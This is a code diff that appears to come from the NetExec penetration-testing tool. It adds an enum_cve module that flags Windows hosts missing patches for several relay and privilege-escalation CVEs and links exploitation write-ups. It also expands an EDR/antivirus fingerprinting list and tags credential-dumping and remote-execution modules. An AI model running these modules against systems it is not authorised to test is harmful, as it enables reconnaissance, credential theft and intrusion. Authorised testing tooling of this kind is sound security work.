request = lsad.LsarOpenPolicy2()
@@ -208,6 +127,19 @@ conf = {
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
"pipes": []
},
{
"name": "Avast / AVG",
"services": [
{"name": "AvastWscReporter", "description": "Avast WSC Reporter Service"},
{"name": "aswbIDSAgent", "description": "Avast IDS Agent Service"},
{"name": "AVGWscReporter", "description": "AVG WSC Reporter Service"},
{"name": "avgbIDSAgent", "description": "AVG IDS Agent Service"}
],
"pipes": [
{"name": "aswCallbackPipe*", "processes": ["AvastSvc.exe", "aswEngSrv.exe"]},
{"name": "avgCallbackPipe*", "processes": ["AVGSvc.exe", "aswEngSrv.exe"]}
]
},
{
"name": "Bitdefender",
"services": [
@@ -238,18 +170,28 @@ conf = {
"pipes": []
},
{
"name": "CrowdStrike",
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
"name": "Check Point Endpoint Security",
"services": [
{"name": "CPDA", "description": "Check Point Endpoint Agent"},
{"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"},
{"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"},
{"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"}
],
"pipes": []
},
{
"name": "Cortex",
"services": [
{"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
{"name": "cyserver", "description": " Cortex XDR"}
{"name": "cyserver", "description": "Cortex XDR"}
],
"pipes": []
},
{
"name": "CrowdStrike",
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
},
{
"name": "Cybereason",
"services": [
@@ -262,6 +204,24 @@ conf = {
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
]
},
{
"name": "Cynet",
"services": [
{"name": "CynetLauncher", "description": "CynetLauncher"}
],
"pipes": []
},
{
"name": "Elastic EDR",
"services": [
{"name": "Elastic Agent", "description": "Elastic Agent Service"},
{"name": "ElasticEndpoint", "description": "Elastic Endpoint Security Service"}
],
"pipes": [
{"name": "ElasticEndpointServiceComms-*", "processes": ["elastic-endpoint.exe"]},
{"name": "elastic-agent-system", "processes": ["elastic-agent.exe"]}
]
},
{
"name": "ESET",
"services": [
@@ -276,6 +236,24 @@ conf = {
],
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
},
{
"name": "FortiClient",
"services": [
{"name": "FA_Scheduler", "description": "FortiClient Service Scheduler"},
{"name": "FCT_SecSvr", "description": "Forticlient Endpoint Protected Process Service"}
],
"pipes": [
{"name": "FortiClient_DBLogDaemon", "processes": ["FCDBLog.exe"]},
{"name": "FC_*", "processes": ["FortiTray.exe"]}
]
},
{
"name": "FortiEDR",
"services": [
{"name": "FortiEDR Collector Service", "description": "Host component of the Fortinet Endpoint Detection and Response Platform"}
],
"pipes": []
},
{
"name": "G DATA Security Client",
"services": [
@@ -288,13 +266,39 @@ conf = {
]
},
{
"name": "Ivanti Security",
"name": "HarfangLab EDR",
"services": [
{"name": "hurukai", "description": "HarfangLab Hurukai Agent"},
{"name": "Hurukai agent", "description": "HarfangLab Hurukai Agent Service"},
{"name": "HarfangLab Hurukai agent", "description": "HarfangLab Hurukai Agent Program"},
{"name": "hurukai-av", "description": "HarfangLab Hurukai Antivirus"},
{"name": "hurukai-ui", "description": "HarfangLab Hurukai UI"}
],
"pipes": [
{"name": "hurukai-control", "processes": ["hurukai.exe"]},
{"name": "hurukai-servicing", "processes": ["hurukai.exe"]},
{"name": "hurukai-amsi", "processes": ["hurukai.exe"]}
]
},
{
"name": "Ivanti Security",
"services": [
{"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"},
{"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"}
],
"pipes": []
},
{
"name": "Kaseya Agent Endpoint",
"services": [
{"name": "KAENDKSAASC*", "description": "Virtual System Administrator Endpoint"},
{"name": "KAKSAASC*", "description": "Machine.Group ID:*"},
],
"pipes": [
{"name": "kaseyaUserKSA*", "processes": ["KaUsrTsk.exe"]},
{"name": "kaseyaAgentKSA*", "processes": ["AgentMon.exe"]}
]
},
{
"name": "Kaspersky Security for Windows Server",
"services": [
@@ -307,6 +311,18 @@ conf = {
{"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
]
},
{
"name": "Malwarebytes",
"services": [
{"name": "MBAMService", "description": "Malwarebytes Service"},
{"name": "MBEndpointAgent", "description": "Malwarebytes Cloud Endpoint Agent Service"}
],
"pipes": [
{"name": "MBLG", "processes": ["MBAMService.exe"]},
{"name": "MBEA2_R", "processes": ["MBCloudEA.exe"]},
{"name": "MBEA2_W", "processes": ["MBCloudEA.exe"]}
]
},
{
"name": "Panda Adaptive Defense 360",
"services": [
@@ -319,6 +335,11 @@ conf = {
{"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]}
]
},
{
"name": "Rapid7",
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
"pipes": []
},
{
"name": "SentinelOne",
"services": [
@@ -332,20 +353,6 @@ conf = {
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}
]
},
{
"name": "Symantec Endpoint Protection",
"services": [
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
{"name": "SNAC", "description": "Symantec Network Access Control"}
],
"pipes": []
},
{
"name": "Rapid7",
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
"pipes": []
},
{
"name": "Sophos Intercept X",
"services": [
@@ -366,6 +373,15 @@ conf = {
{"name": "sophoslivequery_*", "processes": [""]}
]
},
{
"name": "Symantec Endpoint Protection",
"services": [
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
{"name": "SNAC", "description": "Symantec Network Access Control"}
],
"pipes": []
},
{
"name": "Trellix Endpoint Detection and Response (EDR)",
"services": [
@@ -408,6 +424,13 @@ conf = {
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
]
},
{
"name": "Wazuh",
"services": [
{"name": "WazuhSvc", "description": "Wazuh Windows Agent"}
],
"pipes": []
},
{
"name": "Windows Defender",
"services": [
@@ -416,6 +439,21 @@ conf = {
{"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
],
"pipes": []
},
{
"name": "WithSecure Elements",
"services": [
{"name": "fsdevcon", "description": "WithSecure Device Control"},
{"name": "fshoster", "description": "WithSecure Hoster"},
{"name": "fsnethoster", "description": "WithSecure Hoster (Restricted)"},
{"name": "fsulhoster", "description": "WithSecure Ultralight Hoster"},
{"name": "fsulnethoster", "description": "WithSecure Ultralight Network Hoster"},
{"name": "fsulprothoster", "description": "WithSecure Ultralight Protected Hoster"},
{"name": "wsulavprohoster", "description": "WithSecure Ultralight Protected AV Hoster"}
],
"pipes": [
{"name": "FS_CCFIPC_*", "processes": ["fsatpn.exe", "fsatpl.exe", "fshoster32.exe", "fsulprothoster.exe", "fsulprothoster.exe", "fshoster64.exe", "FsPisces.exe", "fsdevcon.exe"]}
]
}
]
}
+22 -4
View File
@@ -6,6 +6,9 @@ from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
import contextlib
class NXCModule:
@@ -23,14 +26,15 @@ class NXCModule:
name = "enum_ca"
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
pass
"""No options available"""
def on_login(self, context, connection):
self.__username = connection.username
@@ -66,8 +70,18 @@ class NXCModule:
else:
rpctransport.setRemoteHost(connection.host)
dce = None
try:
entries = self.__fetchList(connection.kerberos, rpctransport)
if int(self.__port) == 135:
rpc = NXCRPCConnection(connection, force_tcp=True)
rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
dce = rpc.rpc_transport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
entries = list(epm.hept_lookup(None, dce=dce))
else:
entries = self.__fetchList(connection.kerberos, rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
@@ -78,7 +92,11 @@ class NXCModule:
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
context.log.fail("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
return
return
finally:
with contextlib.suppress(Exception):
dce.disconnect()
for entry in entries:
tmpUUID = str(entry["tower"]["Floors"][0])
+224
View File
@@ -0,0 +1,224 @@
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.smbconnection import SessionError
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
from impacket.nmb import NetBIOSError
class NXCModule:
"""
Initial module by: Mauriceter
Additional authors: azoxlpf, Defte, YOLOP0wn, pol4ir, NeffIsBack
"""
name = "enum_cve"
description = "Enumerate common (useful) CVEs by querying the registry for the OS version and UBR."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
context = context
self.module_options = module_options
self.cve = "all"
self.exploitation_details = False
def options(self, context, module_options):
"""
Be aware that these checks solely rely on the OS version and UBR reported in the registry,
and do not check for the actual presence of the vulnerable components or mitigations.
Test the attack yourself to verify the host is actually vulnerable.
Currently supported CVEs:
- CVE-2025-33073 (NTLM Reflection)
- CVE-2025-58726 (Ghost SPN)
- CVE-2025-54918 (NTLM MIC Bypass)
- CVE-2025-53779 (BadSuccessor)
- CVE-2024-49019 (EKUwu / ESC15)
- CVE-2026-54121 (Certighost)
- CVE-2026-27912 (ResetNightmare)
CVE Filter for specific CVE number (default: All)
EXPLOITATION Also provide sources for exploitation details (default: False)
"""
self.listener = None
if "CVE" in module_options:
self.cve = module_options["CVE"].lower()
if "EXPLOITATION" in module_options:
self.exploitation_details = module_options["EXPLOITATION"].lower() in ["true", "1", "yes"]
def is_vulnerable(self, major, minor, build, ubr, msrc):
key = (major, minor, build)
min_patched_ubr = msrc.get(key)
if min_patched_ubr is None:
return None # Unknown product
if ubr is None:
return None
return ubr < min_patched_ubr
def on_login(self, context, connection):
connection.trigger_winreg()
try:
# Connect to RemoteRegistry to read UBR from registry
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
# Reading UBR from registry
hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1]
dce.disconnect()
if not ubr:
context.log.info("Could not determine OS version from registry")
return
else:
context.log.debug(f"OS version from registry: {connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}")
except DCERPCException as e:
context.log.fail(f"DCERPC error: {e}")
return
except SessionError as e:
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
context.log.info(f"RemoteRegistry is probably deactivated: {e}")
else:
context.log.fail(f"Unexpected error: {e}")
return
except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e:
context.log.fail(f"DCERPC transport error: {e.__class__.__name__}: {e}")
return
# Check each CVE
for cve in self.CVE_PATCHES:
if self.cve == "all" or self.cve.lower() == cve.lower():
if self.CVE_PATCHES[cve].get("dc_only") and not connection.is_host_dc():
context.log.info(f"Skipping {self.CVE_PATCHES[cve]['alias']} - only applicable to Domain Controllers")
continue
if self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.CVE_PATCHES[cve]["patches"]):
if connection.conn.isSigningRequired() and "signing_message" in self.CVE_PATCHES[cve]: # Special conditional message for some CVEs
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['signing_message']}")
else:
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['message']}")
if self.exploitation_details:
context.log.highlight(f"Exploitation details: {self.CVE_PATCHES[cve]['exploitation']}")
else:
context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'].get((connection.server_os_major, connection.server_os_minor, connection.server_os_build), 'unknown')})")
# patches: key = (major, minor, build), value = minimum patched UBR
CVE_PATCHES = {
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073
"CVE-2025-33073": {
"alias": "NTLM reflection",
"patches": {
(10, 0, 10240): 21034, # Windows 10 1507
(10, 0, 14393): 8148, # Windows Server 2016 / Win10 1607
(10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809
(10, 0, 19044): 5965, # Windows 10 21H2
(10, 0, 20348): 3807, # Windows Server 2022
(10, 0, 22621): 5472, # Windows 11 22H2
(10, 0, 25398): 1665, # Windows Server 2022 23H2
(10, 0, 26100): 4270, # Windows Server 2025 / Win11 24H2
},
"message": "Relay possible from SMB to any protocol",
"signing_message": "can relay SMB to other protocols except SMB",
"exploitation": "https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58726
"CVE-2025-58726": {
"alias": "Ghost SPN",
"patches": {
(6, 0, 6003): 23571, # Windows Server 2008 SP2
(6, 1, 7601): 27974, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25722, # Windows Server 2012
(6, 3, 9600): 22824, # Windows Server 2012 R2
(10, 0, 10240): 21161, # Windows 10 1507
(10, 0, 14393): 8519, # Windows Server 2016 / Win10 1607
(10, 0, 17763): 7919, # Windows Server 2019 / Win10 1809
(10, 0, 19044): 6456, # Windows 10 21H2
(10, 0, 20348): 4294, # Windows Server 2022
(10, 0, 22621): 6060, # Windows 11 22H2
(10, 0, 25398): 1913, # Windows Server 2022 23H2
(10, 0, 26100): 6899, # Windows Server 2025 / Win11 24H2
(10, 0, 26200): 6899, # Windows 11 25H2
},
"message": "Relay possible from SMB using Ghost SPN for Kerberos reflection",
"signing_message": "Relay possible from SMB using Ghost SPN (non HOST/CIFS) for Kerberos reflection to other protocols except SMB",
"exploitation": "https://www.semperis.com/blog/exploiting-ghost-spns-and-kerberos-reflection-for-smb-server-privilege-elevation/",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918
# https://decoder.cloud/2025/11/24/reflecting-your-authentication-when-windows-ends-up-talking-to-itself/
"CVE-2025-54918": {
"alias": "NTLM MIC Bypass",
"dc_only": True,
"patches": {
(6, 0, 6003): 23529, # Windows Server 2008 SP2
(6, 1, 7601): 27929, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25675, # Windows Server 2012
(6, 3, 9600): 22774, # Windows Server 2012 R2
(10, 0, 10240): 21128, # Windows 10 1507
(10, 0, 14393): 8422, # Windows Server 2016
(10, 0, 17763): 7792, # Windows Server 2019 / Win10 1809
(10, 0, 19044): 6332, # Windows 10 21H2
(10, 0, 20348): 4171, # Windows Server 2022
(10, 0, 22621): 5909, # Windows 11 22H2
(10, 0, 22631): 5909, # Windows 11 23H2
(10, 0, 26100): 6508, # Windows Server 2025 / Win11 24H2
},
"message": "Note that without CVE-2025-33073 only Windows Server 2025 is exploitable",
"exploitation": "https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53779
"CVE-2025-53779": {
"alias": "BadSuccessor",
"dc_only": True,
"patches": {
(10, 0, 26100): 4851, # Windows Server 2025 / Win11 24H2
},
"message": "Escalation to Domain Admin possible via dMSA Kerberos abuse",
"exploitation": "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019
"CVE-2024-49019": {
"alias": "ESC15 / EKUwu",
"patches": {
(6, 0, 6003): 22966, # Windows Server 2008 SP2
(6, 1, 7601): 27415, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25165, # Windows Server 2012
(6, 3, 9600): 22267, # Windows Server 2012 R2
(10, 0, 14393): 7515, # Windows Server 2016
(10, 0, 17763): 6532, # Windows Server 2019 / Win10 1809
(10, 0, 20348): 2849, # Windows Server 2022
(10, 0, 25398): 1251, # Windows Server 2022 23H2
(10, 0, 26100): 2314, # Windows Server 2025 / Win11 24H2
},
"message": "If host is an AD CS / CA server, it may be vulnerable to ESC15",
"exploitation": "https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121
"CVE-2026-54121": {
"alias": "Certighost",
"patches": {
(6, 2, 9200): 26226, # Windows Server 2012
(6, 3, 9600): 23291, # Windows Server 2012 R2
(10, 0, 14393): 9339, # Windows Server 2016
(10, 0, 17763): 9020, # Windows Server 2019
(10, 0, 20348): 5386, # Windows Server 2022
(10, 0, 26100): 33158, # Windows Server 2025
},
"message": "If host is an AD CS / CA server, it may be vulnerable to Certighost",
"exploitation": "https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912
"CVE-2026-27912": {
"alias": "ResetNightmare",
"dc_only": True,
"patches": {
(6, 2, 9200): 26026, # Windows Server 2012
(6, 3, 9600): 23132, # Windows Server 2012 R2
(10, 0, 14393): 9060, # Windows Server 2016
(10, 0, 17763): 8644, # Windows Server 2019
(10, 0, 20348): 5020, # Windows Server 2022
(10, 0, 25398): 2274, # Windows Server 2022 23H2
(10, 0, 26100): 32690, # Windows Server 2025
},
"message": "Password reset of any account possible via Kerberos change password abuse",
"exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
},
}
+5 -3
View File
@@ -1,5 +1,6 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
@@ -12,6 +13,7 @@ class NXCModule:
name = "enum_dns"
description = "Uses WMI to dump DNS from an AD DNS Server"
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -27,7 +29,7 @@ class NXCModule:
def on_admin_login(self, context, connection):
if not self.domains:
domains = []
output = connection.wmi("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
output = connection.wmi_query("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
domains = [result["Name"]["value"] for result in output] if output else []
context.log.success(f"Domains retrieved: {domains}")
else:
@@ -35,8 +37,8 @@ class NXCModule:
data = ""
for domain in domains:
output = connection.wmi(
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
output = connection.wmi_query(
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = '{domain}'",
"root\\microsoftdns",
)
+4
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enumerate SQL Server users with impersonation rights
@@ -7,6 +10,7 @@ class NXCModule:
name = "enum_impersonate"
description = "Enumerate users with impersonation privileges"
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.mssql_conn = None
+2
View File
@@ -4,6 +4,7 @@ import contextlib
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -17,6 +18,7 @@ class NXCModule:
description = "Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry (formerly --interfaces)"
supported_protocols = ["smb"]
opsec_safe = False
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
+5 -1
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enumerate SQL Server linked servers
@@ -7,6 +10,7 @@ class NXCModule:
name = "enum_links"
description = "Enumerate linked SQL Servers and their login configurations."
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.mssql_conn = None
@@ -28,7 +32,7 @@ class NXCModule:
if connection.admin_privs:
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
srvs = [srv for srv in res if srv["Local Login"] is not None]
if not srvs:
self.context.log.fail("No linked servers found.")
return
+4
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enumerate SQL Server logins (SQL, Domain, Local users)
@@ -7,6 +10,7 @@ class NXCModule:
name = "enum_logins"
description = "Enumerate SQL Server logins (SQL, Domain, Local users)"
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.mssql_conn = None
+3
View File
@@ -1,4 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
@@ -9,6 +11,7 @@ class NXCModule:
name = "enum_trusts"
description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
pass
+16 -40
View File
@@ -1,8 +1,10 @@
import re
from impacket.dcerpc.v5 import transport, even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5 import even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.epm import hept_map
from nxc.helpers.even6_parser import ResultSet
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -12,7 +14,8 @@ class NXCModule:
"""
name = "eventlog_creds"
description = "Extracting Credentials From Windows Logs (Event ID: 4688 and SYSMON)"
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self):
self.context = None
@@ -108,18 +111,7 @@ class NXCModule:
else:
msevenclass = MSEven6Trigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
msevenclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
pipe="eventlog"
)
msevenclass.connect(connection, target)
for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
if record is None:
continue
@@ -140,37 +132,21 @@ class MSEven6Trigger:
self.context = context
self.dce = None
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp"))
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
rpctransport.setRemoteHost(target)
self.dce = rpctransport.get_dce_rpc()
if doKerberos:
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
def connect(self, connection, target):
binding = hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp")
self.context.log.debug(f"Connecting to {target}...")
try:
self.dce.connect()
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
try:
self.dce.bind(even6.MSRPC_UUID_EVEN6)
self.dce = NXCRPCConnection(connection).connect(
None,
even6.MSRPC_UUID_EVEN6,
target_ip=target,
string_binding=binding,
auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
)
self.context.log.debug("[+] Successfully bound!")
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
self.context.log.debug("[+] Successfully bound!")
def query(self, path, query, limit):
req = even6.EvtRpcRegisterLogQuery()
+5
View File
@@ -1,3 +1,5 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
@@ -9,6 +11,7 @@ class NXCModule:
name = "example module"
description = "I do something"
supported_protocols = [] # Example: ['smb', 'mssql']
category = CATEGORY.ENUMERATION # Must be one of "Enumeration", "Privilege Escalation" or "Credential Dumping". Use what fits best.
def __init__(self):
self.context = None
@@ -18,6 +21,8 @@ class NXCModule:
"""Required.
Module options get parsed here. Additionally, put the modules usage here as well
"""
# Put "No options available" in the docstring if there are no options for the module
# Return False to abort the run if options are invalid (log with context.log.fail first).
def on_login(self, context, connection):
"""Concurrent.
+4
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Execute commands on linked servers
@@ -7,6 +10,7 @@ class NXCModule:
name = "exec_on_link"
description = "Execute commands on a SQL Server linked server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.mssql_conn = None
+2
View File
@@ -1,3 +1,4 @@
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from impacket.ldap.ldap import LDAPSearchError
from impacket.ldap.ldapasn1 import SearchResultEntry
@@ -15,6 +16,7 @@ class NXCModule:
name = "find-computer"
description = "Finds computers in the domain via the provided text"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
+3 -1
View File
@@ -1,5 +1,6 @@
from dploot.lib.target import Target
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.helpers.misc import CATEGORY
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
class NXCModule:
@@ -12,6 +13,7 @@ class NXCModule:
name = "firefox"
description = "[REMOVED] Dump credentials from Firefox"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
+4 -2
View File
@@ -1,5 +1,6 @@
from impacket.ldap import ldap as ldap_impacket
import re
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
@@ -11,8 +12,9 @@ class NXCModule:
"""
name = "get-desc-users"
description = "Get description of the users. May contained password"
description = "Get description of the users. May contain password"
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
@@ -61,7 +63,7 @@ class NXCModule:
if len(answers) > 0:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
+2
View File
@@ -1,3 +1,4 @@
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
@@ -9,6 +10,7 @@ class NXCModule:
name = "get-info-users"
description = "Get the info field of all users. May contain password"
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""FILTER Apply the FILTER (grep-like) (default: '')"""
+8 -18
View File
@@ -2,28 +2,17 @@
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
# module by @mpgn_x64
import re
import codecs
import socket
from datetime import datetime
from struct import unpack
from impacket.structure import Structure
from ldap3 import LEVEL
from os.path import expanduser
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
from nxc.parsers.ldap_results import parse_result_attributes
def get_dns_zones(connection, root, debug=False):
connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"])
zones = []
for entry in connection.response:
if entry["type"] != "searchResEntry":
continue
zones.append(entry["attributes"]["dc"])
return zones
def ldap2domain(baseDN):
return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
@@ -68,6 +57,7 @@ class NXCModule:
name = "get-network"
description = "Query all DNS records with the corresponding IP from the domain."
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
@@ -81,12 +71,12 @@ class NXCModule:
if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
self.showall = True
else:
print("Could not parse ALL option.")
context.log.display("Could not parse ALL option.")
if module_options and "ONLY_HOSTS" in module_options:
if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
self.showhosts = True
else:
print("Could not parse ONLY_HOSTS option.")
context.log.display("Could not parse ONLY_HOSTS option.")
def on_login(self, context, connection):
zone = ldap2domain(connection.baseDN)
@@ -106,7 +96,7 @@ class NXCModule:
recordname = site["name"]
if "dnsRecord" in site:
if isinstance(site["dnsRecord"], list): # noqa: SIM108
if isinstance(site["dnsRecord"], list):
records = [bytes(r) for r in site["dnsRecord"]]
else:
records = [bytes(site["dnsRecord"])]
